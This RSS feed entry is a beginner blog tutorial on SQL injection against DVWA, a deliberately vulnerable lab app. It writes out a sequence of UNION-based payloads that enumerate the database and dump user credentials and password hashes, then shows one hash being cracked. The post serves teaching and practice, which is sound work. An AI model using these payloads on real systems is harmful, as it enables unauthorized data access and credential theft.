<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>sql &#8211; NoobLinux</title>
	<atom:link href="https://nooblinux.com/tag/sql/feed/" rel="self" type="application/rss+xml" />
	<link>https://nooblinux.com</link>
	<description>Linux Tutorials Aimed at Beginners</description>
	<lastBuildDate>Wed, 20 Oct 2021 11:44:23 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>

<image>
	<url>https://nooblinux.com/wp-content/uploads/2021/10/cropped-MOSHED-2021-10-19-23-49-53-e1634757568151-32x32.jpg</url>
	<title>sql &#8211; NoobLinux</title>
	<link>https://nooblinux.com</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">198948974</site>	<item>
		<title>SQL Injection Exploitation Explanation &#038; Examples Using DVWA</title>
		<link>https://nooblinux.com/sql-injection-exploitation-explanation-examples-using-dvwa/</link>
					<comments>https://nooblinux.com/sql-injection-exploitation-explanation-examples-using-dvwa/#respond</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 22:41:17 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[sql]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3424</guid>

					<description><![CDATA[This post will explain SQL injection, the impact of successful SQL attacks, examples of SQL injection techniques, and how to prevent SQL injection. There are several applications that you can use to learn SQL injection. In this particular post, we will use the Damn Vulnerable Web Application (DVWA). It’s a web app developed in PHP [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>This post will explain SQL injection, the impact of successful SQL attacks, examples of SQL injection techniques, and how to prevent SQL injection.</p>



<p>There are several applications that you can use to learn SQL injection.</p>



<p>In this particular post, we will use the <a href="https://dvwa.co.uk/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Damn Vulnerable Web Application (DVWA)<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. It’s a web app developed in PHP and MySQL and intentionally made to be vulnerable.</p>



<p>If you don’t have DVWA installed yet, feel free to check out our post on <a href="https://nooblinux.com/how-to-install-dvwa/" data-wpel-link="internal">How to set up DVWA on Kali Linux</a>.</p>






<h3 id="what-is-sql-injection-sqli" class="wp-block-heading">What is SQL Injection (SQLI)?</h3>



<p>SQL injection, commonly referred to as SQLI, is an attack where an application allows unauthorized users to send SQL queries to the database and gain access to information they shouldn’t.</p>



<p class="orange-border">In most cases, hackers use SQL injection to retrieve user/company data, modify database contents or delete the entire database, thus bringing down the whole web system.<br><br>In fatal cases, attackers can escalate the SQL injection attack thus, gaining access to the entire underlying back-end infrastructure, server or even perform a Denial of Service attack (DoS).</p>



<p>As of 2021, <a href="https://owasp.org/www-project-top-ten/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">OWASP Top 10<span class="wpel-icon wpel-image wpel-icon-19"></span></a> is a standard awareness framework for developers, and web application security listed Injection (SQL, NoSQL, OS, and LDAP) as the number one vulnerability.</p>



<h3 id="the-impact-of-a-successful-sql-injection-attack" class="wp-block-heading">The Impact of a Successful SQL Injection Attack</h3>



<p>SQL injection is one of the popular attacks behind the data leaks that we see on the internet and the Dark Web. That includes information like user emails, usernames, passwords, and even credit card information. This attack leads to reputational damage and loss of revenue in regulatory fines. In other cases, attackers can escalate the SQL injection attack and create a persistent backdoor. That allows them to compromise the system for a long time and remain unnoticed.</p>



<h3 id="how-an-sql-injection-attack-works" class="wp-block-heading">How an SQL Injection Attack Works</h3>



<p>Think of a website with a simple login form with two fields &#8211; a username, password, and a Login or Submit button. After you enter the required credentials, when you hit the Submit button, the query sent to the database has this syntax:</p>



<pre class="wp-block-preformatted">SELECT username, password FROM usersdb WHERE username=$user;</pre>



<p>E.g., If your name is JohnDoe,</p>



<pre class="wp-block-preformatted">SELECT username, password FROM usersdb WHERE username='Johndoe';</pre>



<p>Anyone with a hacker’s mindset can decide to manipulate the application by entering a value different from the username. This value will be an SQL query to reveal or modify the database’s contents. For example, if the attacker entered abc&#8217; OR 1=1<em>&#8211;&#8216;</em> instead of the actual username, the resulting SQL query would look like this:</p>



<pre class="wp-block-preformatted">SELECT username, password FROM usersdb WHERE username='abc' OR 1=1--';</pre>



<p>Let’s dissect this input <code>abc'</code> OR <code>1=1--'</code> and see how it manipulates the database.</p>



<ul class="wp-block-list"><li><code>abc'</code>: Here we just guessed any username but we added a single quote &#8216; at the end. The single quote closes our username field, and the following part becomes an SQL query.</li><li><code>OR</code> is a conjunction in SQL, and 1=1 will always be true. Therefore, no matter what you put in the username field, the query will always be True and return all the records of the <strong>userdb</strong> database.</li><li>The <code>--'</code>(double dash) is a comment in SQL. It tells the SQL server not to execute any query past this point. In this particular example, we are using double dash to comment out errors that would arise because of the trailing single quote at the end. You can also use <code>#</code> instead of <code>--</code>. E.g <code>abc' 1=1#</code></li></ul>



<p>I believe up to this point; you have a good understanding of what SQL injection is. Let’s dive in and exploit actual SQL injection queries on our DVWA.</p>



<h3 id="setup-dvwa-for-sql-injection" class="wp-block-heading">Setup DVWA for SQL Injection</h3>



<p>As stated above, if you haven’t configured DVWA on your system, please check out our post on <a href="https://nooblinux.com/how-to-install-dvwa/" data-wpel-link="internal">How to set up DVWA on Kali Linux</a>, which gives you a step-by-step procedure.</p>



<p>If you set up DVWA on your localhost, start Apache Web server and MySQl using the commands below:</p>



<pre class="wp-block-preformatted prompt">sudo systemctl start apache2</pre>



<pre class="wp-block-preformatted prompt">systemctl start mysql</pre>



<p>Open your browser and enter the URL <a href="https://127.0.0.1/dvwa" data-wpel-link="external" rel="external noopener" class="wpel-icon-right">127.0.0.1/dvwa<span class="wpel-icon wpel-image wpel-icon-19"></span></a> or <a href="https://127.0.0.1/DVWA" data-wpel-link="external" rel="external noopener" class="wpel-icon-right">127.0.0.1/DVWA<span class="wpel-icon wpel-image wpel-icon-19"></span></a> if you had renamed it. That will open the DVWA login page. Use the default credentials below:</p>



<ul class="wp-block-list"><li><strong>Username</strong>: admin</li><li><strong>Password</strong>: password</li></ul>



<p>After a successful login, you will see the DVWA main page. First, click on the DVWA Security on the bottom left, set security to Low, and click <em>Submit</em>.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="708" height="207" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-31.png" alt="" class="wp-image-3425" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-31.png 708w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-31-300x88.png 300w" sizes="(max-width: 708px) 100vw, 708px" /></figure>



<p>On the left section of the page, you will see the various vulnerable pages to exploit. Click SQL Injection. You should see a page similar to this below.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="670" height="233" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-32.png" alt="" class="wp-image-3426" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-32.png 670w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-32-300x104.png 300w" sizes="(max-width: 670px) 100vw, 670px" /></figure>



<h3 id="view-the-vulnerable-code" class="wp-block-heading">View the Vulnerable Code</h3>



<p>On the SQL injection page, click the View Source button at the bottom right. That will open a page with the SQL Injection source code written in PHP. When you go through the code, you will see a line like:</p>



<pre class="wp-block-preformatted">$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";</pre>



<p>That is the vulnerable line of code. At the end of the line, you can see the user input is concatenated to the SQL query without being validated. That allows us to pass arbitrary commands into the database. Let’s get started.</p>



<h4 id="basic-injection" class="wp-block-heading">Basic Injection</h4>



<p>On the SQL Injection page, we have a USER ID field. When we enter number 1, the application returns the Firstname and Surname of the user with ID 1.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="574" height="120" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-33.png" alt="" class="wp-image-3427" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-33.png 574w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-33-300x63.png 300w" sizes="(max-width: 574px) 100vw, 574px" /></figure>



<p>If we continue trying numbers like 2,3,4 and 5, we still get an output. However, any number from 6 doesn’t return anything. Therefore, our web app has only five users. Behind the scenes, the SQL query that will execute in the database is:</p>



<pre class="wp-block-preformatted">SELECT First_Name,Last_Name FROM users WHERE ID='1';</pre>



<p>Other than using the USER ID field, we can also use the URL to pass our queries. When you first enter ID 1 and click submit, the URL will look like this:</p>



<pre class="wp-block-preformatted">http://172.16.81.129/dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#</pre>



<p>The injectable part in this URL is the id field. Delete the number 1 and enter a different value like 2 or 3, as shown below. Hit Enter.</p>



<pre class="wp-block-preformatted">http://172.16.81.129/dvwa/vulnerabilities/sqli/?id=2&amp;Submit=Submit#</pre>



<p>You will notice that this will also return the username and surname of the user with ID 2.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="459" height="295" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-34.png" alt="" class="wp-image-3428" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-34.png 459w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-34-300x193.png 300w" sizes="auto, (max-width: 459px) 100vw, 459px" /></figure>



<h4 id="always-true-injection" class="wp-block-heading">Always True Injection</h4>



<p>We looked at this when talking about How an SQL Injection attack works. Enter an input like <code>test' OR 1=1#</code> and hit <strong>Enter</strong>. That will return the username and surname of all users in the database.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="608" height="349" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-35.png" alt="" class="wp-image-3429" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-35.png 608w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-35-300x172.png 300w" sizes="auto, (max-width: 608px) 100vw, 608px" /></figure>



<p>This query will display all records that are True or False. The <code>test'</code> parameter will probably not be equal to any user in the Database and will equal to <strong>False</strong>. The other part <code>1=1</code> will be <strong>True</strong> since <strong>1</strong> (one) is equal to <strong>1</strong> (one). The <code>#</code> sign to comments out any SQL code or error. The query that executes in the database looks like this;</p>



<pre class="wp-block-preformatted">SELECT first_name, last_name FROM users WHERE user_id = 'test' or '1'='1';</pre>



<h4 id="display-rdbms-and-version" class="wp-block-heading">Display RDBMS and Version</h4>



<p>By knowing the <strong>RDMS</strong> (Relational Database Management System) running under the hood, we can successfully send malicious SQL queries. Most Web application technologies like Java, ASP.NET, PHP, etc., can give us a vivid idea of the database powering the web system. For example, PHP web apps will likely use MySQL, ASP.NET apps will most likely run on Microsoft SQL Server, while Java web systems will most likely run on Oracle or MySQL. Additionally, we can try using a combination of web technology and the Operating system to determine the database. For example, a web application running on Apache and PHP on a Linux host is probably using MySQL database.</p>



<p>However, we cannot entirely rely on this information. If the web app is vulnerable to SQL injection, then there are queries we can use to know the RDBMS and RDBMS-version running behind the scenes.</p>



<p>To know the RDBMS, we will enter anything that will make the database throw an error. In this case, we enter a single quote in the USER ID field. That will make the database read anything past the quote as a string instead of an SQL query.</p>



<p>That will throw an error, as shown below.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="931" height="82" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-36.png" alt="" class="wp-image-3430" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-36.png 931w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-36-300x26.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-36-768x68.png 768w" sizes="auto, (max-width: 931px) 100vw, 931px" /></figure>



<p>This error gave us the RDBMS name but not the version. In MySQL, we have two queries that you can use to return the database version &#8211; <code>Select version()</code> and <code>Select @@version</code>. We will use the SQL query below to get the database version.</p>



<pre class="wp-block-preformatted">test'union select null, version()#</pre>



<p>We can also use:</p>



<pre class="wp-block-preformatted">test'union select null, @@version()#</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="657" height="150" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-37.png" alt="" class="wp-image-3431" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-37.png 657w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-37-300x68.png 300w" sizes="auto, (max-width: 657px) 100vw, 657px" /></figure>



<h4 id="display-the-hostname-of-our-web-app" class="wp-block-heading">Display the hostname of our web app</h4>



<p>To get the hostname on MySQL, we use the <code>@@hostname</code> query. Enter the input below in the <strong>USER ID</strong> field.</p>



<pre class="wp-block-preformatted">' union select null, @@hostname#</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="412" height="201" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-38.png" alt="" class="wp-image-3432" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-38.png 412w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-38-300x146.png 300w" sizes="auto, (max-width: 412px) 100vw, 412px" /></figure>



<p>From the output above, we can see the hostname under the surname as <strong>metasploitable</strong>. Yours might be different from my mine.</p>



<h4 id="display-database-user" class="wp-block-heading">Display Database User</h4>



<p>To know the database user, we will enter the input below in the USER ID field. We will use the user() SQL function.</p>



<pre class="wp-block-preformatted">test' union select null, user() #</pre>


<p>[analogy]<strong>Note: </strong>We are using Null to make the starting query valid.[/analogy]</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="614" height="123" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-39.png" alt="" class="wp-image-3433" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-39.png 614w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-39-300x60.png 300w" sizes="auto, (max-width: 614px) 100vw, 614px" /></figure>



<p>From the output above, we can see the hostname under the surname as root@localhost.</p>



<h4 id="display-the-database-name" class="wp-block-heading">Display the Database Name</h4>



<p>To get the database name, we will use the database() function in our SQL query. Please note; this is not the RDBMS but the database on which our web app is running. Enter the query below:</p>



<pre class="wp-block-preformatted">test' union select null, database() #</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="614" height="116" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-40.png" alt="" class="wp-image-3434" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-40.png 614w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-40-300x57.png 300w" sizes="auto, (max-width: 614px) 100vw, 614px" /></figure>



<p>You can see the name of the database under the Surname &#8211; dvwa.</p>



<h4 id="list-all-tables-in-the-information-schema" class="wp-block-heading">List all tables in the information schema.</h4>



<p>The Information Schema is a record that holds information about all other databases maintained by MySQL RDBMS. Enter the query below in the USER ID field.</p>



<pre class="wp-block-preformatted">test' and 1=0 union select null, table_name from information_schema.tables #</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="662" height="473" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-41.png" alt="" class="wp-image-3435" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-41.png 662w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-41-300x214.png 300w" sizes="auto, (max-width: 662px) 100vw, 662px" /></figure>



<p>The tables are listed under <strong>Surname</strong>.</p>



<h4 id="list-all-user-tables-in-the-information-schema" class="wp-block-heading">List all user tables in the information schema.</h4>



<p>To display all user tables, we will start in the <strong>informarion_schema</strong> database. Enter the query below in the <strong>USER ID</strong> field and click <strong>Submit</strong>.</p>



<pre class="wp-block-preformatted">test' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="879" height="415" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-42.png" alt="" class="wp-image-3436" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-42.png 879w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-42-300x142.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-42-768x363.png 768w" sizes="auto, (max-width: 879px) 100vw, 879px" /></figure>



<p>The user tables are listed under the <strong>Surname</strong> field.</p>



<h4 id="list-all-column-fields-in-the-information-schema-users-table" class="wp-block-heading">List all Column fields in the information schema users table</h4>



<p>Enter the query below in the <strong>USER ID</strong> field and click <strong>Submit</strong>.</p>



<pre class="wp-block-preformatted">test' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="941" height="303" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-43.png" alt="" class="wp-image-3437" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-43.png 941w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-43-300x97.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-43-768x247.png 768w" sizes="auto, (max-width: 941px) 100vw, 941px" /></figure>



<p>From the output above, you see we have the First_name, Surname, and user_id fields listed.</p>



<h4 id="display-all-the-column-contents-in-the-information-schema-users-table" class="wp-block-heading">Display all the column contents in the information schema users table</h4>



<p>This is much more interesting. We will display all the authentication information of all users in the database. That includes password hashes. Enter the query below.</p>



<pre class="wp-block-preformatted">test' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #</pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="635" height="490" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-44.png" alt="" class="wp-image-3438" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-44.png 635w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-44-300x231.png 300w" sizes="auto, (max-width: 635px) 100vw, 635px" /></figure>



<p>From the output above, you can see the hashed password. We can go ahead and crack the hash to reveal the actual password. Some of the password cracking tools that come in handy include John the Ripper and Medusa. There are also websites where you can paste the password hash to reveal the actual password.</p>



<p>In this example, we will use <a href="https://crackstation.net" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">crackstation.net<span class="wpel-icon wpel-image wpel-icon-19"></span></a> to crack the password hash for the second user with the surname &#8211; Gordon.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="996" height="260" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-1.png" alt="" class="wp-image-3439" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-1.png 996w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-1-300x78.png 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-45-1-768x200.png 768w" sizes="auto, (max-width: 996px) 100vw, 996px" /></figure>



<h3 id="how-to-prevent-sql-injection-attacks" class="wp-block-heading">How To Prevent SQL Injection Attacks</h3>



<p>The main reason that makes web applications vulnerable to SQL injections dates back to the development (coding) stage. Here are some factors developers can consider to develop secure web systems.</p>



<ul class="wp-block-list"><li>Validate user input</li><li>Limit the use of special characters such as string concatenation</li><li>Use stored procedures in the database</li><li>Actively install security patches and updates</li><li>Implement a Web Application Firewall</li><li>Harden your Operating System and Applications</li></ul>



<h3 id="summing-up" class="wp-block-heading">Summing Up</h3>



<p>As of 2021, OWASP Top 10, a Security Framework, listed SQL injection as the number one attack mainly used by hackers and poses a significant impact on businesses and organizations. From the examples above, I believe you now understand how and why SQL injection attacks are the leading cause of massive data leaks.</p>



<p>The DVWA is a reliable platform where penetration testers can practice their skills and understand how various web vulnerabilities are exploited.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/sql-injection-exploitation-explanation-examples-using-dvwa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3424</post-id>	</item>
	</channel>
</rss>
